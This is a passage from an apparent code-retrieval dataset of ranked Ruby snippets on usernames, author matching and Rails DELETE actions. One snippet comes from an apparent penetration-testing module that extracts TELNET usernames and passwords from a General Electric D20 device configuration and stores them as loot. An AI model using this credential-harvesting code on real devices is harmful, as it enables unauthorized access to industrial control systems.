"def find_user(name) \n \n if ( name.downcase != name )\n @logger.info \"Looking for #{name.downcase} instead of #{name}\"\n end\n query_result = @rally.find(:user, :fetch => true, :pagesize => 100) { equal :login_name, name.downcase }\n \n if query_result.total_result_count == 0\n return nil\n else\n return query_result.results.first\n end\n end", "title": "" }, { "docid": "021715a6e6e781f6da5320c0646080be", "score": "0.5013026", "text": "def match_author_exact(name, reject = false)\n name = name.downcase || \"\"\n proc = Proc.new { |entry|\n author = entry.author.downcase || \"\"\n author.include?(name)\n }\n reject ? self.entries.reject(&proc) : self.entries.find_all(&proc)\n end", "title": "" }, { "docid": "66abff4d1dec63df88b85e3b19e1fc79", "score": "0.5012875", "text": "def extract_author_name\n `git config user.name`.strip\n end", "title": "" }, { "docid": "c70435fc213afde4641300895c20cd1c", "score": "0.5007156", "text": "def parseusers(f, userentryptr)\n f.seek(userentryptr + 0x14)\n dstart = makefptr(f.read(4))\n f.seek(userentryptr + 0x1C)\n numentries = makelong(f.read(4))\n f.seek(userentryptr + 0x60)\n headerlen = makeword(f.read(2))\n f.seek(userentryptr + 40) # sorry decimal\n entrylen = makeword(f.read(2)) # sorry this is decimal\n logins = Rex::Text::Table.new(\n 'Header' => \"D20 usernames, passwords, and account levels\\n(use for TELNET authentication)\",\n 'Indent' => 1,\n 'Columns' => [\"Type\", \"User Name\", \"Password\"])\n\n 0.upto(numentries -1).each do |i|\n f.seek(dstart + headerlen + i * entrylen)\n accounttype = makeword(f.read(2))\n f.seek(dstart + headerlen + i * entrylen + 2)\n accountname = makestr(f, dstart + headerlen + i * entrylen + 2)\n f.seek(dstart + headerlen + i * entrylen + 2 + 22)\n accountpass = makestr(f, dstart + headerlen + i * entrylen + 2 + 22)\n if accountname.size + accountpass.size > 44\n print_error(\"Bad account parsing at #{dstart + headerlen + i * entrylen}\")\n break\n end\n logins << [accounttype, accountname, accountpass]\n report_cred(\n ip: datastore['RHOST'],\n port: 23,\n service_name: 'telnet',\n user: accountname,\n password: accountpass,\n proof: accounttype\n )\n end\n if not logins.rows.empty?\n loot = store_loot(\n \"d20.user.creds\",\n \"text/csv\",\n datastore['RHOST'],\n logins.to_s,\n \"d20_user_creds.txt\",\n \"General Electric TELNET User Credentials\",\n datastore['RPORT']\n )\n print_line logins.to_s\n print_status(\"Loot stored in: #{loot}\")\n else\n print_error(\"No data collected\")\n end\n end", "title": "" }, { "docid": "6bf8388872d2889e616d1f243772b28d", "score": "0.5004931", "text": "def ensure_user_byuname(user)\n users = db[:users]\n usr = users.first(:login => user)\n\n if usr.nil?\n u = retrieve_user_byusername(user)\n\n if u.nil?\n warn \"User #{user} does not exist\"\n return\n end\n\n email = unless u['email'].nil?\n if u['email'].strip == '' then\n nil\n else\n u['email'].strip\n end\n end\n\n geo = geolocate(location: u['location'])\n\n users.insert(:login => u['login'],\n :name => u['name'],\n :company => u['company'],\n :email => email,\n :fake => false,\n :deleted => false,\n :type => user_type(u['type']),\n :long => geo[:long],\n :lat => geo[:lat],\n :country_code => geo[:country_code],\n :state => geo[:state],\n :city => geo[:city],\n :created_at => date(u['created_at']))\n\n info \"Added user #{user}\"\n\n if user_type(u['type']) == 'ORG'\n info \"User #{user} is an organization. Retrieving members\"\n ensure_org(u['login'], true)\n end\n\n users.first(:login => user)\n else\n debug \"User #{user} exists\"\n usr\n end\n end", "title": "" }, { "docid": "79d3cc1cd1688eeac87159240c27e5a2", "score": "0.50005007", "text": "def request_username_matches_visualization_owner\n # Support both for username at `/u/username` and subdomain, prioritizing first\n username = [CartoDB.username_from_request(request), CartoDB.subdomain_from_request(request)].compact.first\n # URL must always contain username, either at subdomain or at path.\n # Domainless url documentation: http://cartodb.readthedocs.org/en/latest/configuration.html#domainless-urls\n return false unless username.present?\n\n # Either user is owner or is current and has permission\n # R permission check is based on current_viewer because current_user assumes you're viewing your subdomain\n username == @visualization.user.username ||\n (current_user && username == current_user.username && @visualization.has_read_permission?(current_viewer))\n end", "title": "" }, { "docid": "5a7b61c538838df732ff4f0193c93ab2", "score": "0.50001144", "text": "def name_or_username\n name || username\n end", "title": "" }, { "docid": "03accda4cf1a3da53c54b230ee2611a6", "score": "0.49994016", "text": "def usernames\n @attributes[:usernames]\n end", "title": "" }, { "docid": "03accda4cf1a3da53c54b230ee2611a6", "score": "0.49994016", "text": "def usernames\n @attributes[:usernames]\n end", "title": "" }, { "docid": "fdc3d16dac9f88ea76e282a728c7d953", "score": "0.4999288", "text": "def author_name\n if read_attribute('comment_body') =~ COMMENT_BODY_PARSER\n $1\n elsif created_by and created_by.sfcontact\n created_by.sfcontact.name\n end\n end", "title": "" }, { "docid": "0e9c19f1172c0225b1df680022b1d41a", "score": "0.49959558", "text": "def user_for_username!(username)\n fail Errors::MalformedRequest unless username\n Models::User.find_by(username: username) || fail(Errors::NoSuchModel)\n end", "title": "" }, { "docid": "182a3725d9c55f7ee309c3ea1b95dbd3", "score": "0.49937975", "text": "def user_account\n @user_account ||= if (parts = new_resource.user.match(/(?<domain>.*)\\\\(?<account>.*)/))\n parts[:account]\n else\n new_resource.user\n end\n end", "title": "" }, { "docid": "cbc3f75fc56bcb63d38f25ec0af4c0c2", "score": "0.4992646", "text": "def username\n name\n end", "title": "" }, { "docid": "3baeabb975e64ddc209085e84e5ae448", "score": "0.49913388", "text": "def userlogin_valid?\n if User.find_by(name: userlogin_input) != nil\n if User.find_by(name: userlogin_input).name == self.userlogin_input #########put in custom error catch\n self.active_user = User.find_by(name: userlogin_input) ### if you use this method.name it dies if there isn't a match\n self.welcome_user\n end\n else\n puts Rainbow (\"\\n\\nI'm sorry that's not a valid username.\\n\").bright.red\n puts \"I'll let you try again.\\n\"\n self.userquery_prompt\n end\nend", "title": "" }, { "docid": "951066a720b3fa11856e339bdefed3c1", "score": "0.499103", "text": "def find_username\n # Default to the nickname provided in the Omniauth details. If a nickname\n # was not provided or a user with the same username already exists, use the\n # e-mail address as the username.\n username = auth_nickname\n username = auth_email if username.blank? ||\n User.exists?(username: username)\n\n username\n end", "title": "" } ]
252d0f53c49ef6c0555911d1272040bf
DELETE /colonies/1 DELETE /colonies/1.json
[ { "docid": "1ca498792cfc929b325096dc07943e01", "score": "0.62700325", "text": "def destroy\n if @colony.can_destroy?\n @colony.destroy\n respond_to do |format|\n format.html { redirect_to colonies_url, notice: 'Colony was successfully destroyed.' }\n format.json { head :no_content }\n end\n else\n format.html { redirect_to colonies_url, notice: 'The colony was not destroyed.' }\n end\n end", "title": "" } ]
[ { "docid": "32092c1ef881fdc2f46a272d84e80a28", "score": "0.69516647", "text": "def destroy\n @excluded_colony.destroy\n respond_to do |format|\n format.html { redirect_to excluded_colonies_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b445c184893647d3482f8fbc6a507a52", "score": "0.6489978", "text": "def delete(path, params = {})\n path += '.json'\n res = @connection.delete(path, @header)\n parse_response(res)\n end", "title": "" }, { "docid": "0223322a704cdeb2c5d0b6fc71048e7c", "score": "0.64609104", "text": "def destroy\n @pathway = Pathway.find(params[:id])\n @pathway.destroy\n\n respond_to do |format|\n format.html { redirect_to pathways_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0a07313aca91148d433bc65d6159f476", "score": "0.6454921", "text": "def delete_colony(colony)\n @colonies.delete(colony)\n end", "title": "" }, { "docid": "b1a17c1ee1af05c79fe156622df44818", "score": "0.643721", "text": "def delete(path)\n begin\n response = client[path].delete :accept => 'application/json'\n rescue Exception => e\n puts e.inspect\n end\n end", "title": "" }, { "docid": "773e5d611adeb09776f9c841e1b876cc", "score": "0.64119893", "text": "def delete_json(path, params = {}, headers = {})\n json_request(:delete, path, params, headers)\n end", "title": "" }, { "docid": "4c1c164b581dbae14285797e584e8fb7", "score": "0.63907975", "text": "def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "title": "" }, { "docid": "87e69b49b6b52a47a7e482cc173a0e47", "score": "0.63706344", "text": "def destroy\n @marathon = Marathon.find(params[:id])\n @marathon.destroy\n\n respond_to do |format|\n format.html { redirect_to marathons_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7452c4d15daf08108aaa5a1b728adb31", "score": "0.6344424", "text": "def destroy\n @json.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "1adef30be70808b1e5ebc8f0a807a6f8", "score": "0.6308809", "text": "def destroy\n @cabinet = Cabinet.find(params[:id])\n @cabinet.destroy\n\n respond_to do |format|\n format.html { redirect_to cabinets_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "ffab8bee261d47624540aec1ac1f3fd3", "score": "0.630817", "text": "def destroy\n @chase_server.destroy\n respond_to do |format|\n format.html { redirect_to chase_servers_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "49da63d21b44d3770869dd47ae5c2be3", "score": "0.6297096", "text": "def destroy\n @affinity.destroy\n respond_to do |format|\n format.html { redirect_to affinities_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4cb8018c1a8a093a9a2dc5ee84f90297", "score": "0.6274157", "text": "def destroy\n @chemo_therapy = ChemoTherapy.find(params[:id])\n @chemo_therapy.destroy\n\n respond_to do |format|\n format.html { redirect_to chemo_therapies_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "153e58976fdbfa7383392757fbb2a4ab", "score": "0.62707084", "text": "def destroy\n name, type = resource[:name].split('/')\n nameserver = resource[:nameserver]\n nsupdate(\"server #{nameserver}\n update delete #{name}. #{type}\n send\")\n end", "title": "" }, { "docid": "c4002562a1883323b45eaf5b25617f15", "score": "0.6248556", "text": "def destroy\n @neighboorhood.destroy\n respond_to do |format|\n format.html { redirect_to neighboorhoods_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "174b723f9e43bfa7501a9cdc389e4c1b", "score": "0.624062", "text": "def delete\n @response = self.class.delete(\"#{@server_uri}/resource_name/#{@opts[:id]}.json\")\n end", "title": "" }, { "docid": "7a0e69d4b1958684e5ebe80d49ead9e9", "score": "0.622567", "text": "def destroy\n http_api.delete(\"clients/#{@name}\")\n end", "title": "" }, { "docid": "e687b6729d4205cb824d435a19471a21", "score": "0.62179226", "text": "def destroy\n @city.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2ce292bf59bcfa9c02b93e5b613a9b44", "score": "0.62097937", "text": "def destroy\n @horoscope_moon = HoroscopeMoon.find(params[:id])\n @horoscope_moon.destroy\n\n respond_to do |format|\n format.html { redirect_to horoscope_moons_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a8128acd10ac81a07aea545d097a6a52", "score": "0.6206278", "text": "def destroy\n @hackathon = Hackathon.find(params[:id])\n @hackathon.destroy\n\n respond_to do |format|\n format.html { redirect_to hackathons_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "eaadbe7e345c3cb363f3f4c4e3f1f3cc", "score": "0.61763", "text": "def destroy\n @abroad = Abroad.find(params[:id])\n @abroad.destroy\n\n respond_to do |format|\n format.html { redirect_to abroads_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d35f8ffd77ddd63899a2a6a17bde9c40", "score": "0.61720675", "text": "def destroy\n @amnesty = Amnesty.find(params[:id])\n @amnesty.destroy\n\n respond_to do |format|\n format.html { redirect_to amnesties_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2345624920d9e08f887ebcd7e1fb1d73", "score": "0.61573714", "text": "def destroy\n @api_city.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "47a3c9c28e1fcd0fcae5ea58416b42bd", "score": "0.61521024", "text": "def delete(path)\n api :delete, path\n end", "title": "" }, { "docid": "6e9f26c9592b1307ef431b19bd9db894", "score": "0.6146563", "text": "def delete_monster(monster_id)\n RESTful.delete(\"#{URL_MICROSERVICE_MONSTER}/monster/#{monster_id}\")\n end", "title": "" }, { "docid": "0d916f38313d7d236f0690a13ffa6666", "score": "0.61270297", "text": "def destroy\n @farmako.destroy\n respond_to do |format|\n format.html { redirect_to farmakos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b25f18ced048b3b825f1b6d9ef1679b5", "score": "0.61261886", "text": "def destroy\n @zone = Zone.find(params[:id])\n checkaccountobject(\"zones\",@zone)\n @zone.destroy\n\n respond_to do |format|\n format.html { redirect_to zones_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "1ea9afac45b9944f10bfda12b7118250", "score": "0.61153316", "text": "def destroy\n @navy.destroy\n respond_to do |format|\n format.html { redirect_to navies_url, notice: 'Navy was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1612b5bb98aa75b0dea70d21930639d9", "score": "0.6115233", "text": "def destroy\n @joint2.destroy\n respond_to do |format|\n format.html { redirect_to joint2s_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e8c62dd5eb6003e7a49a6de65e27ca49", "score": "0.61127865", "text": "def destroy\n @township = Township.find(params[:id])\n @township.destroy\n\n respond_to do |format|\n format.html { redirect_to townships_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "5e21a200287f0bfd39ddf3e06450875e", "score": "0.6111546", "text": "def destroy\n s = @node.abbreviations.find(params[:id])\n s.destroy\n\n respond_to do |format|\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "8cc378b1669aab3ad3b1c9e5286121d8", "score": "0.61097336", "text": "def destroy\n @internship.destroy\n respond_to do |format|\n format.html { redirect_to internships_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "8cc378b1669aab3ad3b1c9e5286121d8", "score": "0.61097336", "text": "def destroy\n @internship.destroy\n respond_to do |format|\n format.html { redirect_to internships_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6a19ba99f0d1f7225b5ed73fe068136d", "score": "0.61036843", "text": "def delete(path, params: {}, headers: {})\n request_json :delete, path, params, headers\n end", "title": "" }, { "docid": "ec94400f30de363b2660ab6e0c84ada7", "score": "0.61033344", "text": "def destroy\n @hole = Hole.find(params[:id])\n @hole.destroy\n\n respond_to do |format|\n format.html { redirect_to holes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "96f971710d1203aa077ac20f3fb37130", "score": "0.60993344", "text": "def destroy\n @ceremony = Ceremony.find(params[:id])\n @ceremony.destroy\n\n respond_to do |format|\n format.html { redirect_to ceremonies_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "c8038aa73e6a770368ddc72d550f133f", "score": "0.60954297", "text": "def test_delete\n delete :delete, params: { alpha2: 'za' }, **{ format: 'json' }\n\n assert_response 200\n assert_equal(countries.first.name, 'South Africa', 'Not working.')\n assert_equal(countries.first.active, false, 'Not working.')\n end", "title": "" }, { "docid": "c397493b298c8b8848396e59a206303d", "score": "0.60941404", "text": "def destroy\n @pathology.destroy\n respond_to do |format|\n format.html { redirect_to pathologies_url, notice: 'Pathology was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2e4c64f480163c352fbb1a37de4e59e4", "score": "0.60918945", "text": "def destroy\n @hostship = Hostship.find(params[:id])\n @hostship.destroy\n\n respond_to do |format|\n format.html { redirect_to hostships_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c03e64b1e529635a81789f3576613d8a", "score": "0.6084546", "text": "def destroy\n @host = Host.find_by_host(params[:id])\n @host.destroy\n\n respond_to do |format|\n format.html { redirect_to hosts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "dbef028befd04b0840f49a304dd9ceae", "score": "0.60812235", "text": "def destroy\n @internship = Internship.find(params[:id])\n @internship.destroy\n\n respond_to do |format|\n format.html { redirect_to internships_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "dbef028befd04b0840f49a304dd9ceae", "score": "0.60812235", "text": "def destroy\n @internship = Internship.find(params[:id])\n @internship.destroy\n\n respond_to do |format|\n format.html { redirect_to internships_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "dbef028befd04b0840f49a304dd9ceae", "score": "0.60812235", "text": "def destroy\n @internship = Internship.find(params[:id])\n @internship.destroy\n\n respond_to do |format|\n format.html { redirect_to internships_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "dbef028befd04b0840f49a304dd9ceae", "score": "0.60812235", "text": "def destroy\n @internship = Internship.find(params[:id])\n @internship.destroy\n\n respond_to do |format|\n format.html { redirect_to internships_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9ca79309b6855ab6eb80f07a2b588c39", "score": "0.6080401", "text": "def destroy\n @cp_foreman = CpForeman.find(params[:id])\n @cp_foreman.destroy\n\n respond_to do |format|\n format.html { redirect_to cp_foremen_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1fa9820e400b728ac22d6ff0e73adbb2", "score": "0.60755646", "text": "def destroy\n @server = Server.find(params[:id])\n @server.destroy\n\n respond_to do |format|\n format.html { redirect_to servers_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "1fa9820e400b728ac22d6ff0e73adbb2", "score": "0.60755646", "text": "def destroy\n @server = Server.find(params[:id])\n @server.destroy\n\n respond_to do |format|\n format.html { redirect_to servers_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "1fa9820e400b728ac22d6ff0e73adbb2", "score": "0.60755646", "text": "def destroy\n @server = Server.find(params[:id])\n @server.destroy\n\n respond_to do |format|\n format.html { redirect_to servers_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "01cfe5d32b670c45850fcac8c8d6cbee", "score": "0.6073521", "text": "def destroy\n @testimony = Testimony.find(params[:id])\n @testimony.destroy\n\n respond_to do |format|\n format.html { redirect_to testimonies_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "75496901872c6a77f4cb605aa46c02da", "score": "0.6073257", "text": "def destroy\n @server = Server.find(params[:id])\n @server.destroy\n\n respond_to do |format|\n format.html { redirect_to servers_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "75496901872c6a77f4cb605aa46c02da", "score": "0.6073257", "text": "def destroy\n @server = Server.find(params[:id])\n @server.destroy\n\n respond_to do |format|\n format.html { redirect_to servers_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "75496901872c6a77f4cb605aa46c02da", "score": "0.6073257", "text": "def destroy\n @server = Server.find(params[:id])\n @server.destroy\n\n respond_to do |format|\n format.html { redirect_to servers_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "75496901872c6a77f4cb605aa46c02da", "score": "0.6073257", "text": "def destroy\n @server = Server.find(params[:id])\n @server.destroy\n\n respond_to do |format|\n format.html { redirect_to servers_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "450f7936737023c93ec62fa07d23a97c", "score": "0.60679364", "text": "def destroy\n authorize! :destroy, Moon\n @moon = Moon.find(params[:id])\n @moon.destroy\n\n respond_to do |format|\n format.html { redirect_to moons_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "799c19f2792a654095daa686f3bce6a9", "score": "0.60676616", "text": "def destroy\n @host = Host.find(params[:id])\n @host.destroy\n\n respond_to do |format|\n format.html { redirect_to hosts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "799c19f2792a654095daa686f3bce6a9", "score": "0.60676616", "text": "def destroy\n @host = Host.find(params[:id])\n @host.destroy\n\n respond_to do |format|\n format.html { redirect_to hosts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4426e122e778d4e03167ca4fd245966b", "score": "0.6067395", "text": "def destroy\n @hito.destroy\n respond_to do |format|\n format.html { redirect_to hitos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "799c19f2792a654095daa686f3bce6a9", "score": "0.60671604", "text": "def destroy\n @host = Host.find(params[:id])\n @host.destroy\n\n respond_to do |format|\n format.html { redirect_to hosts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "69c3e20c5816fe569856155de151c0ff", "score": "0.6064984", "text": "def destroy\n @route = Line.find_by_slug(params[:line_id]).routes.find(params[:id])\n @route.destroy\n\n respond_to do |format|\n format.html { redirect_to routes_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "4f6a28da296a45cf2840c10d761c9fcc", "score": "0.60590565", "text": "def destroy\n @military_army = Military::Army.find(params[:id])\n @military_army.destroy\n\n respond_to do |format|\n format.html { redirect_to military_armies_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "5fc582012f22aa2da8053a30e8268816", "score": "0.60580146", "text": "def destroy\n @host.destroy\n respond_to do |format|\n format.html { redirect_to hosts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "5fc582012f22aa2da8053a30e8268816", "score": "0.60580146", "text": "def destroy\n @host.destroy\n respond_to do |format|\n format.html { redirect_to hosts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a9c5ddb57e5c487907d1a8372f11b658", "score": "0.6056676", "text": "def destroy\n @alumn.destroy\n respond_to do |format|\n format.html { redirect_to alumni_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "70de2120d84cf4a85dc1ecb486fcd3d5", "score": "0.6055801", "text": "def destroy\n @zombie = Zombie.find(params[:id])\n @zombie.destroy\n\n respond_to do |format|\n format.html { redirect_to zombies_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "8b14a98c2623ff27829bc1f46c0e103b", "score": "0.60539025", "text": "def destroy\n colony = @cat.colony\n @cat.destroy\n respond_to do |format|\n format.html { redirect_to colony_path(colony), notice: 'Cat was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "8a5a0cc7f1dbe97f5d330369d9834144", "score": "0.60535693", "text": "def destroy\n @neighborhood.destroy\n\n respond_to do |format|\n format.html { redirect_to neighborhoods_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e12e68b73cb58e9c29656390dea5182a", "score": "0.6053041", "text": "def destroy\n @childhood.destroy\n respond_to do |format|\n format.html { redirect_to childhoods_url, notice: 'Childhood was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "718fd485f95a30a8c897e2403defb29f", "score": "0.6051817", "text": "def delete(path, params={}); make_request(:delete, host, port, path, params); end", "title": "" }, { "docid": "6431517b1703baa11bd724b08525c772", "score": "0.6051146", "text": "def destroy\n @establish = Establish.find(params[:id])\n @establish.destroy\n\n respond_to do |format|\n format.html { redirect_to establishes_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "6431517b1703baa11bd724b08525c772", "score": "0.6051146", "text": "def destroy\n @establish = Establish.find(params[:id])\n @establish.destroy\n\n respond_to do |format|\n format.html { redirect_to establishes_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "a98056a19a1e0a3398a60ea57e86b526", "score": "0.6050476", "text": "def destroy\n @cartoon.destroy\n respond_to do |format|\n format.html { redirect_to cartoons_url, notice: 'Cartoon was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a98056a19a1e0a3398a60ea57e86b526", "score": "0.6050476", "text": "def destroy\n @cartoon.destroy\n respond_to do |format|\n format.html { redirect_to cartoons_url, notice: 'Cartoon was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "06bdf548a04d9ed992e731f3d9912466", "score": "0.6049236", "text": "def destroy\n @homologacion = Homologacion.find(params[:id])\n @homologacion.destroy\n\n respond_to do |format|\n format.html { redirect_to homologacions_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2675aa0e2ced04fc9c7de6fc57be6a59", "score": "0.60489625", "text": "def delete(path)\r\n fetch(:path => path, :method => 'DELETE')\r\n end", "title": "" }, { "docid": "149cc38bcf8cc7a3c0b4847e07151b6c", "score": "0.6047318", "text": "def destroy\n @flight = Flight.find(params[:id])\n @flight.destroy\n\n respond_to do |format|\n format.html { redirect_to flights_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4f607f42282ceb183c849005e94634b9", "score": "0.60458297", "text": "def destroy\n @major_city.destroy\n respond_to do |format|\n format.html { redirect_to major_cities_url, notice: 'Major city was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1916af1635804e1ae59b9c658cba320d", "score": "0.60453635", "text": "def destroy\n @journey = Journey.find(params[:id])\n @journey.destroy\n\n respond_to do |format|\n format.html { redirect_to journeys_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "b0f382cafe46709eca8b60dc91d3d277", "score": "0.60446507", "text": "def destroy\n @truck_route.destroy\n render json: @truck_route, status: :ok \n end", "title": "" }, { "docid": "f0bc67cf4fd4783a1593b6c970e9a530", "score": "0.6036643", "text": "def destroy\n @continent.destroy\n respond_to do |format|\n format.html { redirect_to continents_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "021c831c90c94aa7ef2f7dca32fc7e83", "score": "0.6035463", "text": "def destroy\n @lion.destroy\n respond_to do |format|\n format.html { redirect_to lions_url, notice: 'Lion was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "109f8b2ba9f94106264592ac0f6c7984", "score": "0.6033314", "text": "def destroy\n @toushikomon = Toushikomon.find(params[:id])\n @toushikomon.destroy\n\n respond_to do |format|\n format.html { redirect_to toushikomons_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9b117111b8c70954c9957522eaf1a069", "score": "0.6030783", "text": "def destroy\n @alumn = Alumn.find(params[:id])\n @alumn.destroy\n\n respond_to do |format|\n format.html { redirect_to alumns_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "2648feb31137b5f40ecdf9238f86ebb1", "score": "0.6027005", "text": "def destroy\n @diretorio.destroy\n render json: @diretorio\n end", "title": "" }, { "docid": "35739f4e097e6b14e2d5ae346d4d536b", "score": "0.6025453", "text": "def destroy\n @alumno_costo = AlumnoCosto.find(params[:id])\n @alumno_costo.destroy\n\n respond_to do |format|\n format.html { redirect_to alumno_costos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1aa9e4e8519a9212b13624a61efb7f77", "score": "0.6023711", "text": "def destroy\n @gymnast = Gymnast.find(params[:id])\n @gymnast.destroy\n\n respond_to do |format|\n format.html { redirect_to gymnasts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3b8d765acafd2b81d7680513faae3ee6", "score": "0.6022696", "text": "def destroy\n @myCoach = @coach_path.coach\n @coach_path.destroy\n respond_to do |format|\n format.html { redirect_to coach_url( @myCoach ) }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3ca2b8949f58de4d0b26d0fc6a13bfb4", "score": "0.60214025", "text": "def destroy\n @nyym = Nyym.find(params[:id])\n @nyym.destroy\n\n respond_to do |format|\n format.html { redirect_to nyyms_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "472f0fc2b92a0f29302eeb8aeacc3294", "score": "0.6020943", "text": "def destroy\n @city = City.find(params[:city_id])\n @tourist_attraction = @city.tourist_attractions.find(params[:id])\n @tourist_attraction.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "e77c46c3edac2196bc392123dae3b043", "score": "0.6020495", "text": "def destroy\n @albumn = Albumn.find(params[:id])\n @albumn.destroy\n\n respond_to do |format|\n format.html { redirect_to albumns_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4949d2ca295239d6ab5b870c4af537c9", "score": "0.60202354", "text": "def destroy\n @championship = Championship.find(params[:id])\n @championship.destroy\n\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "95a8ad72a1b56a408d5af3231bdb0223", "score": "0.60188043", "text": "def destroy\n @server = compute.get_server(params[:id])\n @server.delete!\n\n respond_to do |format|\n format.html { redirect_to servers_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "213858a6143990a13beb90bd5665ca45", "score": "0.60172325", "text": "def destroy\n @clients_has_conjoint.destroy\n respond_to do |format|\n format.html { redirect_to clients_has_conjoints_url, notice: 'Clients has conjoint was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2679e7cb94bde167f87fd4216f680472", "score": "0.60159993", "text": "def destroy\n @stash_tunnel = StashTunnel.find(params[:id])\n @stash_tunnel.destroy\n\n respond_to do |format|\n format.html { redirect_to stash_tunnels_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "09b5ad655b0521c23187a5ba5acfe7a9", "score": "0.60117656", "text": "def destroy\n @anchorage_ground = AnchorageGround.find(params[:id])\n @anchorage_ground.destroy\n\n respond_to do |format|\n format.html { redirect_to anchorage_grounds_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c755ffd25b616d27e99478e71a1f02f1", "score": "0.60112053", "text": "def destroy\n @alumno = Alumno.find(params[:id])\n @alumno.destroy\n\n respond_to do |format|\n format.html { redirect_to alumnos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c755ffd25b616d27e99478e71a1f02f1", "score": "0.60112053", "text": "def destroy\n @alumno = Alumno.find(params[:id])\n @alumno.destroy\n\n respond_to do |format|\n format.html { redirect_to alumnos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "64fbdff7eb369b373278e08d75175292", "score": "0.6010238", "text": "def destroy\n @hackerspace = Hackerspace.find(params[:id])\n @hackerspace.destroy\n\n respond_to do |format|\n format.html { redirect_to hackerspaces_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "1cbd52d2651f761efea79ca34e597345", "score": "0.60096914", "text": "def destroy\n @type = Type.find(params[:id])\n @type.destroy\n Cluster.where(\"type_id = 